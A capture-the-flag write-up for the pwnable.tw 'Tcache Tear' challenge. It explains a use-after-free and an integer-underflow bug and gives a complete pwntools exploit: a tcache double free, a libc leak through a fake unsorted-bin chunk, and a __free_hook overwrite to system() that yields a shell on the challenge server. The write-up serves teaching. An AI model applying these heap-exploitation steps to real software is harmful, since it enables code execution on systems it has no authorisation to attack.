Binary Exploitation [pwnable.tw] - Tcache Tear

#Challange Description

Name Tcache Tear
Points 200
Solves 433 times
Libc 2.27
Category Exploitation
Description Make tcache great again !

#Binary Protection

Let’s check the binary protection

Binary Protection

#The Vulnerability

The application simply allocates a memory chunk and frees it. There is a main loop code which runs in infinite loop which is as shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/*
This code decompilated by GHIDRA
This is the main application code which run in infinite loop
*/
void main(void) {
long action_input;
uint free_count;
env_setup();
printf("Name:");
// read data in global buffer
read_input_to_buf(DAT_username,32);
free_count = 0;
do {
while( true ) {
while( true ) {
action_menu();
action_input = read_int();
if (action_input != 2) break;
if (free_count < 8) {
// Free the allocated memory chunk
free(DAT_input_buf);
free_count = free_count + 1;
}
}
if (2 < action_input) break;
if (action_input == 1) {
// Allocate object and feed the data to
obj_malloc();
}
else {
LAB_00400c75:
puts("Invalid choice");
}
}
if (action_input != 3) {
if (action_input == 4) {
/* WARNING: Subroutine does not return */
exit(0);
}
goto LAB_00400c75;
}
print_username();
} while( true );
}

There is a vulnerability on line 21 where it frees the allocated memory chunk but it doesn’t null-out that pointer.

There is another vulnerability is in object allocation code. The code is as show below, try to understand the find the vulnerability yourself.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void obj_malloc(void) {
ulong buf_size;

printf("Size:");
buf_size = read_int();
if (buf_size < 256) {
DAT_input_buf = (char *)malloc(buf_size);
printf("Data:");
// read the user input into the buffer and with
// buffer size check
read_input_to_buf(DAT_input_buf,(int)buf_size + -16);
puts("Done !");
}
return;
}

The size of the buffer is taken from user and 16 is subtracted from that, the result is converted to unsigned integer and used as max user input buffer size. So if you provide the number less then 16, then the subtraction result is negative number, which if converted to unsigned number will result in very high value. So if we provide buffer size less then 16 you will get out-of-bound write. This kind of vulnerability is called Integer overflow. We will utilize this out-of-bound write with other vulnerability to get further exploit this challange.

There are some of the constraints of the application that we influence our exploitation:

  1. You can’t allocate buffer size more than 256 bytes, this restricts the buffer allocation to only Tcache bins.
  2. Application tracks only one allocated buffer at a time.

#Write Primitive

In the main code loop, the pointer of the memory chuck allocated by obj_malloc(on line 15) is not nulled-out after free(on line 15) this can be used to do double free. In Tcache Tear there is no check for dublicate entry check in free list so we can do double free to do duplicate Tcache Tear Attack. This attack return arbitrary address on calling malloc which will give opportunity write data to that address.

We will use this write primitive to create read primitive which will help us to Leak Libc address. Below is the code to create arbitrary write :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

app = App(io)
user_payload = p64(0) + p64(0x501)
app.username(user_payload)
app.intro()

def arby_write(write_addr, write_val, bin_sz=10):
app.malloc(bin_sz, 'AAAAAAAA')
app.free()
app.free()
app.malloc(bin_sz, write_addr)
# tcache bins pointers to arbitrary addr
app.malloc(bin_sz, 'junk')
# tcache return arbitrary address and write there
app.malloc(bin_sz, write_val)

#The Leak

In the attack we just discussed, a fake chuck has to be crafted in the tcachebin and the fake chunk will be constructed in the DAT_username buffer. The reason for crafting fake chunk in DAT_username is that its in bss segment and the PIE of the binary is disabled. So the address of the DAT_username will be fixed (0x602060). The size(0x500) fake chuck will be such that on freeing, it will land in unsorted bin. To put it more clearly the fake chunk we will put will be in tcache bin(lets say of size 0x10) but the fake chunk itself will be of larger size(0x500). Then later we will allocate chunk from the same tcache bin(0x10) till it return the fake chunk, immediately we will do free on the memory, it will put the fake chunk in the unsorted-bin.

Since the Unsorted bins is doubly linked list when we put the chunk in the unsorted bin, it is populated with fd and bk pointer with the next and previous memory chunk. When there is just one chunk in the Unsorted in then the fd and bk pointer has main arena address. We can print the content DAT_username in the application and since this chunk is in Unsorted bin we have leaked the main arena address. We can calculate the Libc base address using the main arena address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
FAKE_CHUNK = 0x602060

TARGET_ADDR = p64(FAKE_CHUNK + 0x10)

def stage_init():
# chunk 1
fake_chunk_payload = p8(0x41) * (0x18) + \
p64(FAKE_CHUNK + 0x10) + p8(0x41) * (0x500-0x18-0x18)
# chunk 2
fake_chunk_payload += p64(0x500) + p64(0x21) + p8(0x42) * 0x10
# chunk 3
fake_chunk_payload += p64(0x20) + p64(0x21) + p8(0x43) * 0x10
# chunk 4
fake_chunk_payload += p64(0x20) + p64(0x21) + p8(0x43) * 0x10
arby_write(TARGET_ADDR, fake_chunk_payload)
app.free()

def leak_addr():
info = app.info()
main_arena_leak = u64(info[30:28+10])
BASE_OFFSET = 0x3ebca0
libc_base = main_arena_leak - BASE_OFFSET
log.info('Arena leak : ' + hex(main_arena_leak))
log.info('Libc Base : ' + hex(libc_base))
return libc_base

#Code Execution

To get code execution we will overwrite __free_hook with the system function to get system shell. To eloborate more on this first you have to allocate chunk with ‘/bin/sh’ as its content, and when you free that chunk. The pointer to that chunk is passed to __free_hook if the hook is not null. Since the free hook address is system function address, the call effectively execute system(/bin/sh) which give us a shell. Below is the code to run above mentioned steps.

1
2
3
4
5
6
7
def stage_final():
app.malloc(50, '/bin/sh')
log.info('Triggering shell')
app.free(shell=True)
log.info('You should have the flag now')
io.sendline('cat /home/tcache_tear/flag')
log.info('Flag : ' + io.read().decode('utf-8'))

#Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120

'''
Author : 0xd3xt3r
Website : taintedbits.com
'''

from pwn import *

LOCAL = False

LIBC_FILE = './libc-ctf.so'

if LOCAL:
io = process('./tcache_tear', env={'LD_PRELOAD': LIBC_FILE}, aslr=False, timeout=1)
else:
io = remote('chall.pwnable.tw', 10207)

libc = ELF(LIBC_FILE)


class App:

def __init__(self, proc):
self.proc = proc

def intro(self):
self.proc.readuntil('choice :')

def username(self, data):
self.proc.readuntil(':')
self.proc.send(data)

def malloc(self, sz, data):
self.proc.send('1')
self.proc.readuntil(':')
self.proc.send(str(sz))
self.proc.readuntil(':')
self.proc.send(data)
self.proc.readuntil('choice :')

def free(self, shell=False):
self.proc.send('2')
if not shell:
self.proc.readuntil('choice :')

def info(self):
self.proc.send('3')
return self.proc.readuntil('choice :')


FAKE_CHUNK = 0x602060

TARGET_ADDR = p64(FAKE_CHUNK + 0x10)

app = App(io)
user_payload = p64(0) + p64(0x501)
app.username(user_payload)
app.intro()


def arby_write(write_addr, write_val, bin_sz=10):
'this method gives us arbitrary write'
app.malloc(bin_sz, 'AAAAAAAA')
app.free()
app.free()
app.malloc(bin_sz, write_addr)
# tcache bins pointers to arbitrary addr
app.malloc(bin_sz, 'junk')
# tcache return arbitrary address and write there
app.malloc(bin_sz, write_val)


def stage_init():
# chunk 1
fake_chunk_payload = p8(0x41) * (0x18) + \
p64(FAKE_CHUNK + 0x10) + p8(0x41) * (0x500-0x18-0x18)
# chunk 2
fake_chunk_payload += p64(0x500) + p64(0x21) + p8(0x42) * 0x10
# chunk 3
fake_chunk_payload += p64(0x20) + p64(0x21) + p8(0x43) * 0x10
# chunk 4
fake_chunk_payload += p64(0x20) + p64(0x21) + p8(0x43) * 0x10
arby_write(TARGET_ADDR, fake_chunk_payload)
app.free()

def leak_addr():
info = app.info()
main_arena_leak = u64(info[30:28+10])
BASE_OFFSET = 0x3ebca0
libc_base = main_arena_leak - BASE_OFFSET
log.info('Arena leak : ' + hex(main_arena_leak))
log.info('Libc Base : ' + hex(libc_base))
return libc_base


def stage_overwrite(libc_base):
free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
log.info('__free_hook : ' + hex(free_hook_addr))
log.info('system : ' + hex(system_addr))
app.malloc(100, 'AAAA')
arby_write(p64(free_hook_addr), p64(system_addr), 40)
log.info('Finished system func')


def stage_final():
app.malloc(50, '/bin/sh')
log.info('Triggering shell')
app.free(shell=True)
log.info('You should have the flag now')
io.sendline('cat /home/tcache_tear/flag')
log.info('Flag : ' + io.read().decode('utf-8'))

# ----[ ACTION

stage_init()
libc_base = leak_addr()
stage_overwrite(libc_base)
stage_final()
io.close()

Exploit Execution Trace

#Reference

  1. Exploitation technique reference

Comments

Your browser is out-of-date!

Update your browser to view this website correctly.&npsb;Update my browser now

×